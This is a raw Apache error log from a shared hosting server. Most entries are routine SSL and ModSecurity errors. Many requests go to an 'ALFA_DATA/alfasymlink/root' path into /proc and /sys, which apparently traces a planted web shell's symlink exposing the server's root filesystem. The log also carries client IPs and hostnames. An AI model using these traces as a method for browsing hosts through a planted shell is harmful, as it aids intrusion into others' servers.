[Mon Oct 26 09:12:50.142380 2026] [ssl:error] [pid 3036134:tid 3036134] (70014)End of file found: [client 52.4.229.9:19494] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:54.139357 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 34.234.206.30:2708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:58.280179 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 34.231.156.59:40595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:13:02.330288 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 52.200.93.170:19432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:13:07.487176 2026] [core:error] [pid 3034824:tid 3034824] (13)Permission denied: [client 44.218.6.93:40164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:03/physical_node/remove
[Mon Oct 26 09:13:10.147076 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 100.24.167.60:33559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/physical_node1/drvctl
[Mon Oct 26 09:13:14.157462 2026] [ssl:error] [pid 3034827:tid 3034827] (5)Input/output error: [client 18.214.238.178:20480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:13:26.170950 2026] [ssl:error] [pid 3034836:tid 3034836] (70014)End of file found: [client 44.221.105.234:5141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:13:30.230622 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 44.207.252.58:56691] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:13:38.866064 2026] [core:error] [pid 3034836:tid 3034836] (13)Permission denied: [client 185.191.171.10:36996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/align
[Mon Oct 26 09:13:46.173725 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 34.234.200.207:60498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:13:50.951078 2026] [security2:error] [pid 3035808:tid 3035808] [client 43.160.241.129:47952] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "at9SDjs8VJ7QW5firx_lCQAAAAE"]
[Mon Oct 26 09:13:57.104371 2026] [security2:error] [pid 3034833:tid 3034833] [client 107.172.76.131:53962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9SBm8fURIvZEnkWNyOawAAACs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 09:13:57.104422 2026] [security2:error] [pid 3034833:tid 3034833] [client 107.172.76.131:53962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9SBm8fURIvZEnkWNyOawAAACs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 09:13:58.236214 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 3.229.164.203:63148] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:14:10.220567 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.152.163.42:9038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:14:18.143587 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 44.223.232.55:16415] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:14:22.236402 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 35.174.141.243:21304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:14:26.188043 2026] [ssl:error] [pid 3034836:tid 3034836] (70014)End of file found: [client 52.71.46.142:47270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:14:34.322375 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 54.86.59.155:52708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:14:38.147129 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 184.73.167.217:9490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:14:50.141753 2026] [ssl:error] [pid 3036134:tid 3036134] (70014)End of file found: [client 54.92.171.106:52630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:14:50.142032 2026] [security2:error] [pid 3036134:tid 3036134] [client 54.92.171.106:52630] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/memory4/uevent"] [unique_id "at9SSunZIMDTgVVxI57dfgAAAAM"]
[Mon Oct 26 09:14:50.142083 2026] [security2:error] [pid 3036134:tid 3036134] [client 54.92.171.106:52630] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/memory4/uevent"] [unique_id "at9SSunZIMDTgVVxI57dfgAAAAM"]
[Mon Oct 26 09:14:54.187947 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 3.226.106.93:3469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:15:14.149689 2026] [core:error] [pid 3034827:tid 3034827] (13)Permission denied: [client 44.205.180.155:38944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:05/physical_node/remove
[Mon Oct 26 09:15:18.188811 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 3.225.9.97:11999] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:15:21.521253 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53954] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9SXKXMILbsMtUzObzLiAAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 09:15:21.521301 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53954] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9SXKXMILbsMtUzObzLiAAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 09:15:22.150687 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 35.169.119.108:20445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:15:26.334244 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 34.230.124.21:44015] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:15:30.146764 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 34.192.125.239:42472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:15:38.157178 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 98.84.131.195:32603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:15:46.175065 2026] [core:error] [pid 3034824:tid 3034824] (13)Permission denied: [client 52.3.155.146:55346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/ac/uevent
[Mon Oct 26 09:15:58.163567 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 107.23.62.75:37662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:02.170225 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 3.89.170.186:57891] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:14.277459 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 54.162.69.192:65533] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:18.152313 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 34.233.114.237:38799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:19.593533 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 85.208.96.202:50176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/autrace
[Mon Oct 26 09:16:22.148206 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 52.22.87.224:5733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:26.156158 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 50.19.79.213:27945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:30.137231 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 44.223.232.55:46366] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:32.205054 2026] [core:error] [pid 3034818:tid 3034818] (13)Permission denied: [client 185.191.171.1:29106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/slabs_cpu_partial
[Mon Oct 26 09:16:42.132518 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 3.89.176.255:25506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:42.910493 2026] [ssl:error] [pid 3036134:tid 3036134] (70014)End of file found: [client 185.191.171.1:12940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:44.216724 2026] [core:error] [pid 3034818:tid 3034818] (13)Permission denied: [client 85.208.96.212:50700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slab_size
[Mon Oct 26 09:16:46.311840 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 85.208.96.202:19482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:16:54.158656 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 100.29.160.53:28549] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/cirrus/bind
[Mon Oct 26 09:16:58.163393 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 54.204.62.163:18288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:17:02.169998 2026] [security2:error] [pid 3034827:tid 3034827] [client 44.193.102.198:24302] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/tty21/"] [unique_id "at9SztdWtrCZuT8sbNQ4wwAAACU"]
[Mon Oct 26 09:17:02.170042 2026] [security2:error] [pid 3034827:tid 3034827] [client 44.193.102.198:24302] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/tty21/"] [unique_id "at9SztdWtrCZuT8sbNQ4wwAAACU"]
[Mon Oct 26 09:17:06.166861 2026] [ssl:error] [pid 3038094:tid 3038094] (70014)End of file found: [client 100.28.133.214:18578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:17:10.146939 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 34.236.135.14:59109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:17:14.132035 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 23.23.180.225:39306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:17:18.101657 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 85.208.96.208:29002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/cpu_slabs
[Mon Oct 26 09:17:19.714761 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 85.208.96.207:22628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:17:21.461620 2026] [security2:error] [pid 3032274:tid 3032274] [client 107.172.76.131:53975] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9S1SmtoTVUWKg0WJJgwAAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:17:21.461670 2026] [security2:error] [pid 3032274:tid 3032274] [client 107.172.76.131:53975] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9S1SmtoTVUWKg0WJJgwAAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:17:27.281978 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 185.191.171.9:55952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/objects_partial
[Mon Oct 26 09:17:34.163498 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 34.206.193.60:58950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:17:38.155542 2026] [ssl:error] [pid 3038094:tid 3038094] (70014)End of file found: [client 52.45.15.233:12109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:17:42.140067 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 18.208.11.93:22544] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:17:58.148789 2026] [ssl:error] [pid 3038094:tid 3038094] (70014)End of file found: [client 52.202.233.37:54528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:18:06.425763 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 52.7.13.143:46059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:18:54.134811 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 52.203.237.170:13272] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:19:06.159273 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.152.163.42:28276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:19:22.269528 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 35.172.125.172:61804] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:19:23.404939 2026] [authz_core:error] [pid 3035808:tid 3035808] [client 46.174.222.34:4246] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:19:34.161032 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 23.23.212.212:23280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:19:42.588270 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 85.208.96.201:13434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:19:54.209067 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 18.208.11.93:21699] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:19:58.216912 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 3.212.86.97:41936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:20:10.137404 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 23.21.175.228:32426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:20:30.176008 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 54.91.122.193:64139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:20:34.355123 2026] [security2:error] [pid 3034827:tid 3034827] [client 52.201.155.215:32681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/node0/memory21/power/"] [unique_id "at9TotdWtrCZuT8sbNQ4ygAAACU"]
[Mon Oct 26 09:20:34.355165 2026] [security2:error] [pid 3034827:tid 3034827] [client 52.201.155.215:32681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/node0/memory21/power/"] [unique_id "at9TotdWtrCZuT8sbNQ4ygAAACU"]
[Mon Oct 26 09:20:38.352953 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 34.226.89.140:60635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS1/custom_divisor
[Mon Oct 26 09:20:54.314420 2026] [core:error] [pid 3034818:tid 3034818] (13)Permission denied: [client 54.235.172.108:12999] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/driver/unbind
[Mon Oct 26 09:20:58.144297 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 44.223.232.55:33848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:21:04.193773 2026] [core:crit] [pid 3034827:tid 3034827] (13)Permission denied: [client 66.132.159.127:63120] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 09:21:05.001316 2026] [authz_core:error] [pid 3034836:tid 3034836] [client 66.132.159.127:63134] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Mon Oct 26 09:21:06.162195 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 54.84.147.79:39026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:21:06.181347 2026] [core:crit] [pid 3026993:tid 3026993] (13)Permission denied: [client 66.132.159.127:63148] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 09:21:10.703931 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 184.72.84.154:32883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:21:14.174906 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.7.33.248:32146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:21:25.580515 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 66.132.159.127:8352] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Mon Oct 26 09:21:30.189626 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 44.194.139.149:18943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:21:38.173420 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 52.205.141.124:50912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:21:39.238526 2026] [core:error] [pid 3034827:tid 3034827] (13)Permission denied: [client 85.208.96.211:13298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/aliases
[Mon Oct 26 09:21:50.277635 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 34.227.156.153:40996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:21:54.349063 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 35.169.102.85:26729] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:21:58.215925 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 52.200.93.170:12346] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:22:06.481259 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.22.64.232:63244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:22:06.545669 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53954] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9T8aXMILbsMtUzObzLowAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 09:22:06.545720 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53954] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9T8aXMILbsMtUzObzLowAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 09:22:11.191258 2026] [ssl:error] [pid 3034830:tid 3034830] (5)Input/output error: [client 44.207.69.106:10569] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:22:18.223474 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 34.206.193.60:37561] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:22:39.065851 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 3.229.95.193:43108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:22:42.274771 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 44.194.134.53:25398] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:22:46.393535 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 54.145.82.217:63137] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:22:54.403832 2026] [ssl:error] [pid 3038094:tid 3038094] (70014)End of file found: [client 3.224.215.150:32243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:23:02.292615 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 54.225.98.148:47840] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:23:10.292655 2026] [security2:error] [pid 3034830:tid 3034830] [client 52.0.105.244:51075] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory17/node0/memory3/"] [unique_id "at9UPjouFFTcxFhVqAz1HAAAACg"]
[Mon Oct 26 09:23:10.292690 2026] [security2:error] [pid 3034830:tid 3034830] [client 52.0.105.244:51075] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory17/node0/memory3/"] [unique_id "at9UPjouFFTcxFhVqAz1HAAAACg"]
[Mon Oct 26 09:23:13.258945 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "zacson2.sherwinpinturas.com"] [uri "/"] [unique_id "at9UQXJ9l6phwCFrVaFgogAAAAA"]
[Mon Oct 26 09:23:13.259307 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/"] [unique_id "at9UQXJ9l6phwCFrVaFgogAAAAA"]
[Mon Oct 26 09:23:13.259630 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/"] [unique_id "at9UQXJ9l6phwCFrVaFgogAAAAA"]
[Mon Oct 26 09:23:13.358920 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "zacson2.sherwinpinturas.com"] [uri "/"] [unique_id "at9UQXJ9l6phwCFrVaFgowAAAAA"]
[Mon Oct 26 09:23:13.359350 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/"] [unique_id "at9UQXJ9l6phwCFrVaFgowAAAAA"]
[Mon Oct 26 09:23:13.359643 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/"] [unique_id "at9UQXJ9l6phwCFrVaFgowAAAAA"]
